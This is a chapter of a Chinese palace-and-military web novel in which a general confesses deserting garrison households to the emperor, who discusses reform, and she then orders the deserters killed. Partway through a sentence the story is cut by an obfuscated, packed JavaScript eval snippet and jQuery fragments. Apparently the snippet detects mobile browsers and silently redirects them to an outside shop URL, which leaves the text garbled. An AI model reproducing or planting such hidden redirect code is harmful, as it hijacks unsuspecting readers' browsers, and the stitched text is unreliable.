17. 请罪

作品:《我与你道同相为谋

    红英拿的是宫内印信,董英睿借着这印信经查七次才到达宫门口。


    宫外的金龙卫严阵以待,宫门一侧的通话口内的金龙卫将凭信取走,报给内侍,内侍又呈给杨内侍。


    崇邦胤正在乐居宫与皇子一同雕刻,听到杨内侍禀告,愣了一愣,赵业的医术他清楚。


    崇邦胤思考片刻,“赵业今晚是否轮值?”


    “陛下,太医令今日不值夜,是否要通传?”


    “先让她去勤政殿,朕去看过再说。”


    杨内侍派人前去答话,自己上前服侍陛下整理衣冠。


    崇邦胤看着儿子期盼的眼神,“你就不去了,你母亲这个点来,不是急求就是请罪,若你去了,怕是有些戏她演不来。”


    红英在勤政殿外候着,看着陛下和颜悦色地入殿,心里十分不安。


    “说吧,遇到了什么麻烦?”


    崇邦胤进门后看了一眼跪在殿内的人,直达上位坐下。


    “定川有一卫所,军户大量出逃,逃至昌远方向。”董英睿将头埋下,低声汇报。


    崇邦胤这几年便已对此制有所考虑,只是暂无新策,也不好实践,如今在董家手中都不得用,可见内里腐化已到何种地步。


    “所以,那些军户忤逆了朕,去投奔了你,若是出逃,你不该如此惊慌,怕是还抢了卫所,是吗?”


    董英睿将头埋的更低,“是。”


    崇邦胤起身走上前去,伸出一只手将她的脸缓缓抬起,


    “你来,是求情,还是请罪?”


    董英睿被迫看着眼前人,将身体往后撤了撤,“臣来请罪,昌远军绝不私藏谋逆,我天朝将士当军令如山,如今未至绝境便能逃出卫所,他日战场困境便会逃离战场,当杀。”


    崇邦胤的心情好了些,站直了身体,“说吧,为何出逃?”


    董英睿暗自松了口气,“那卫所臣略有听闻,周边土壤条件不佳,收成不高,往年能交上定额便已不易,兵部和户部应就此向陛下有陈情,陛下下令对那卫所免了军田税。”


    “确有此事,原来是那块出了问题,朕将定川都督任命董氏的时候,董氏应当对那片地界做了调整,户部也有补贴,怎会出此差错?”


    崇邦胤想起前年兵部对一些卫所有陈情,要减免些税收,因此增加了户部的支出,当时户部对此做了核算,后对一些卫所有一些补贴政策。


    “陛下在朝堂,虽心系百姓但只能看到数字,下面人呈报的数据,或有真心,也或有假意,朝内众臣事务繁琐,也未必能一一鉴别,即便如臣为一军统帅,也未必能清晰分辨每一级的真实情况。”


    崇邦胤叹了口气。


    “每个制度的推行前期本意一定都是好的,就像一个人的初心,都想实现美好愿望,但只要有一个人破了界限,得了好处,其他人便会群起争之,制度便会倾斜,走向衰亡,就像一个人打破了一个原则,便会在此原则上不断下沉,故而国家不可能通过一个制度一个决策,便能安然无虞,需长治才能久安,人也需要时常敲打规正,才能坦荡清明。


    制度若有漏洞,却又无法补齐调和,便不如彻底改制,卫所人力集中,资源丰富,那些蛀虫看到好处就想捞一些,那就让兵归兵,农归农,从根上断了他们念想。”


    崇邦胤重新回去就坐,让她起身,也坐下商议。


    董英睿起身也坐在一旁,“陛下英明,若无陛下周旋,朝内无法安宁,只是新政也有弊端,臣只是先行呈奏,还需陛下操劳改制后的各项事宜。”


    崇邦胤笑了笑,“本就是皇族分内之事,这万里江山岂能轻易治理,你的新政提议很好,如今的问题在以下几点。


    募兵制的推行结合兵役年限,可以迅速提升战力,但对户部是个挑战,如今虽国库充盈,再过些年又当如何?天朝百姓民籍土地税赋低廉,并不能大规模创收。


    其次,卫所土地开垦不易,这些土地又当如何使用?”


    董英睿起身行礼,“亦是臣心念之忧,因此迟迟难以呈奏。”


    “所以你们以自身俸禄扶持,却要知一己之力并不能维持和挽救一个制度,要能站在更高的位置,周旋更多的资源。


    朕打算大力发展商学,解决农民无法创收的困境,同时,也让百姓多一条出路,朕自北漠时,亲眼见证北漠的行商繁华,行商带来的利益巨大,足以使我天朝国库不断充盈。


    只是商人重利,税赋和从事行业还需商定,军中条例严苛,亦有贪腐行为,商人利中行走,更需强势掌控。


    北漠靠行商起家,自王室至平民均只为利图,无民族大义,如此只得依附,他们也想养兵,可养不出我天朝这般铁骨铮铮的兵,即便将朕挟持,却也不敢动朕分毫,便是如此。”


    董英睿的眼中泛起亮光,崇邦胤看到更是愉悦。


    “弊端并不可怕,怕的是弊端可能导致的人心衰亡,带来的祸患远超弊端本身,任何制度都可能只在一段时期内生效,但只要不断加以治理改善,能达到目的,就是好策。


    只要国家还在,人心不腐,会不断有新规去改善旧制,如此循环,是我天朝传世的根本。而我皇族掌权,便是阻止那些妄图在制度中谋取私利之人,同时,保政新制得以实施。”


    董英睿回想起北漠时,那个身处敌国却仍意气风发的男子。


    “世人都以为皇族传承是以嫡以长,实在大错,皇族传承,是将这些道理灌输在嫡子和长子头上,因有更多时间教导,能教导的更多罢了,况且第一个孩子,自然精细教养,我若有第一个儿女,我也会将全部心思都用在他身上。”


    先皇该是个多好的人,能教出如此好的新皇。


    崇邦胤说完,看着董英睿眼神朦胧,上前将手背后,“但你说,朕当如何处置那些军户?”


    董英睿起身行礼,“陛下,臣方才所言并非虚假,军户抢卫所需从严处置,以彰我天朝军人之威,若人人效仿,将无军可治。既然逃到我昌远,便从我昌远开刀,兵丁格杀,他人收押再行决断。”


    崇邦胤回到座椅上,让杨内侍传赵业入宫,“这事朕再想想,既然是来看头疾,还是让赵业好好看看。”


    董英睿谢恩,重新坐下,神色也放松下来,端起旁边的茶碗。


    “不问问睿儿吗?”


    董英睿被水呛了一下,咳了半


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016892|194223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天。


    崇邦胤在一旁笑声不止。


    待笑过去之后,又神情郑重地与她说道,“我知你一路攀爬不易,如今形势所趋,你怕新政遭拒,也怕他继任遇阻,但毕竟是你儿子,该有的关心还是要有,你能送你侄儿一匹良驹,又给了睿儿什么呢?”


    “陛下怎知此事?”董英睿的眼神暗了暗。


    “对朕不需过度猜疑,朕听郑高阳说的,你那侄儿这几日都未在家中,全在武学院显摆他那马,郑高阳的兄弟郑高明也在武学院学习,听说是你所赠,便趁着假期日日教他骑射,待过了七夕武学院要开始全系招生,听郑高阳说他天赋不错,想必也有你的功劳,看来我天朝要再添一员猛将。”


    崇邦胤说完便起身出殿。


    “赵业该要到了,朕去陪睿儿,你记得朕刚说的话。”


    董英睿随着崇邦胤一道出殿,行礼送行之后往太医院去,赵业已在等候。


    “参见总兵大人。”赵业上前行礼。


    “太医令客气,如此时间打扰十分抱歉。”董英睿落座。


    赵业上前把脉,脉象通畅并无不妥,又以银针探过,比上次还通畅了些。


    “我给大人开服药,差人熬了喝下即可,如今在恢复,大人不可忧思过度,避免病情加重。”


    董英睿点点头,谢过赵业后,带着红英离宫。


    路上她并未与红英有任何沟通,待回了将军府已经亥正,董育尧还在等着,她上前将宫内对话全部说明。


    两人还在说话,就听董成来报,“裴郎中去了。”


    董英睿看了一眼父亲,见父亲并不意外,“看来父亲已经知道了。”


    董育尧交代董成给裴郎中准备后事,等他走后,叹了口气,“我以为你入宫会以北漠之情与圣上周旋,以保新政,可你并未如此做。”


    董英睿看向远处,“若一点小事便要动用圣上的情意,那女儿这个总兵算是做到头了。”


    董育尧起身走到她身前,很是凝重地问,“你图谋什么?后位?可你当知你不可能入宫封后,图谋权力?你已是一军总兵,以后还可晋升为五军总督。你到底在谋划什么?”


    董英睿转过头轻笑,“父亲高估女儿了,女儿没那么大本事,人活着不能什么都想要,女儿能图谋什么?一介武夫而已。”


    董育尧仍然警惕,“不论你谋划什么,若影响到我董氏宗族,就绝不可能迈过你父亲这道槛。”


    董英睿起身,“宗族?父亲还是担忧眼下的情况吧,军户异动,若此次成功其他卫所也会崩塌,改制绝不能是以此方式,明日一早飞鸽传书,安排人堵截逃兵,核对信息后,兵丁格杀,其他人圈地软禁,等圣上发落。”


    “是圣上之意?”


    “是我的意思。”


    “圣上无旨,你竟敢自专?”董育尧诧异,又有些恼怒。


    董英睿两手伸出将衣服上的褶皱抚平。


    “这点事还要去请陛下旨意,臣子能力可见一斑。”


    董育尧已经怒火中烧,”你若如此行事,只怕朝堂之上你无法交代。”


    董英睿迈步出殿。


    “无需交代。”